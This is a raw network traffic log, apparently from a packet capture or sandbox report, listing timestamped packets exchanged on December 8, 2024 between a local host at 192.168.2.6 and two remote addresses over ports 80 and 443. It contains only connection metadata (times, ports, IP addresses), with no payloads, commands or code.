Dec 8, 2024 17:45:45.975418091 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.975477934 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.976391077 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.976416111 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.976488113 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.977433920 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.977483034 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.977524996 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.977576017 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.978522062 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.978563070 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.978605986 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.978672981 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.979693890 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.979753971 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.979758978 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.979873896 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.980519056 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.980564117 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.980603933 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.980616093 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.980638981 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.980658054 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.980776072 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.980820894 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.981089115 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.981878996 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.981998920 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.982038021 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.982089996 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.983119965 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.983171940 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.983185053 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.983309031 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.984124899 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.984210968 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.984255075 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.984399080 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.985254049 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.985313892 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.985369921 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.985419989 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.986380100 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.986429930 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.986520052 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.986613989 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.987449884 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.987517118 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.987551928 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.987601042 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.988574982 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.988635063 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.988687992 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.989701986 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.989758968 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.989804983 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.989883900 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.990828037 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.990967035 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.990992069 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.991065979 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.991946936 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.991992950 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.992048025 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.992160082 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.993036985 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.993180037 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.993221998 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.994168997 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.994260073 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.994369030 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.994429111 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.995294094 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.995346069 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.995405912 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.995488882 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.995840073 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.995857954 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.995915890 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.995924950 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.996401072 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.996459961 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.996503115 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.996515989 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.996565104 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.997514009 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.997574091 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.997692108 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.997919083 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.998642921 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.998688936 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.998788118 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.998867035 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.999783993 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.999847889 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.999882936 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.999957085 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.000885010 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.000994921 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.001198053 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.001287937 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.002038002 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.002088070 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.002101898 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.002170086 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.003132105 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.003195047 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.003230095 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.003282070 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.004261971 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.004273891 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.004385948 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.005482912 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.005589962 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.005608082 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.005681992 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.006498098 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.006544113 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.006609917 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.006666899 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.007615089 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.007710934 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.007715940 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.007776022 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.008346081 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.008363962 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.008424044 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.008431911 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.008819103 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.008883953 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.008883953 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.008925915 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.009100914 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.009891987 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.009963036 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.009974957 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.010023117 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.010974884 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.011059999 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.011097908 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.011132956 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.011173010 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.012187958 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.012267113 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.012284040 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.012306929 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.013439894 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.013573885 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.013607979 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.013648033 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.014995098 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.015068054 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.015074968 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.015119076 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.016151905 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.016204119 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.016261101 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.016325951 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.017184973 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.017219067 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.017364979 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.018033981 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.018120050 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.018131971 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.018249989 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.018898010 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.018944979 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.019025087 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.019068003 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.020112991 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.020154953 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.020162106 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.020220995 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.021011114 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.021081924 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.021089077 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.021163940 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.022109032 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.022164106 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.022248030 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.022313118 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.022838116 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.022856951 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.022918940 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.022944927 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.023169041 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.023498058 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.023513079 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.023751974 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.024388075 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.024466038 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.024488926 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.024643898 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.025501966 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.025549889 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.025587082 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.025651932 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.027450085 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.027586937 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.037209034 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.037235975 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.037287951 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.037301064 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.037329912 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.037362099 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.050586939 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.050604105 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.050749063 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.050764084 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.050954103 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.064920902 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.064937115 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.065043926 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.065068007 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.067411900 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.160197973 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.160289049 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.160310030 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.160485983 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.160562038 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.160582066 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.160633087 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.160655022 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.160685062 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.160696983 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.160741091 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.160823107 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.160854101 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.160909891 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.161859989 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.161942959 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.162020922 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.162211895 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.162945032 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.163031101 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.163086891 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.163134098 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.164088964 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.164154053 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.164196968 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.164323092 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.165208101 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.165280104 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.165298939 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.165340900 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.166342974 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.166429043 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.166440964 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.166495085 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.167550087 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.167629004 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.167638063 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.167752981 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.168569088 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.168629885 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.168669939 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.168669939 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.169691086 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.169778109 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.169817924 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.169924021 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.170773983 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.170836926 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.170955896 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.171089888 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.172008991 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.172118902 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.172130108 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.172169924 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.173408031 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.173445940 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.173482895 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.173482895 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.174388885 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.174410105 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.174480915 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.174480915 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.175347090 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.175447941 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.175473928 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.175530910 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.176433086 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.176481009 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.176500082 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.176541090 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.176695108 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.176716089 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.176775932 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.176790953 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.176816940 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.176832914 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.177515030 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.177587986 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.177618027 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.177689075 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.178590059 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.178646088 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.178714037 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.178806067 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.179764986 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.179862022 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.179882050 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.180072069 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.180929899 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.181010962 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.181019068 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.181068897 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.181936979 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.181987047 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.182018042 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.182049036 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.183161020 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.183249950 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.183285952 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.183362961 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.184262037 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.184324980 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.184330940 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.184392929 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.185340881 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.185435057 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.185471058 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.185497046 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.185883045 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.185899973 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.185975075 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.185981989 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:46.186022043 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:46.186465025 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.186531067 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.186558962 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.186760902 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.187519073 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.187581062 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.187634945 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.187689066 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.188910961 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.188924074 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:46.189039946 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:46.190042973 CET	80	49805	185.215.113.206	192.168.2.6
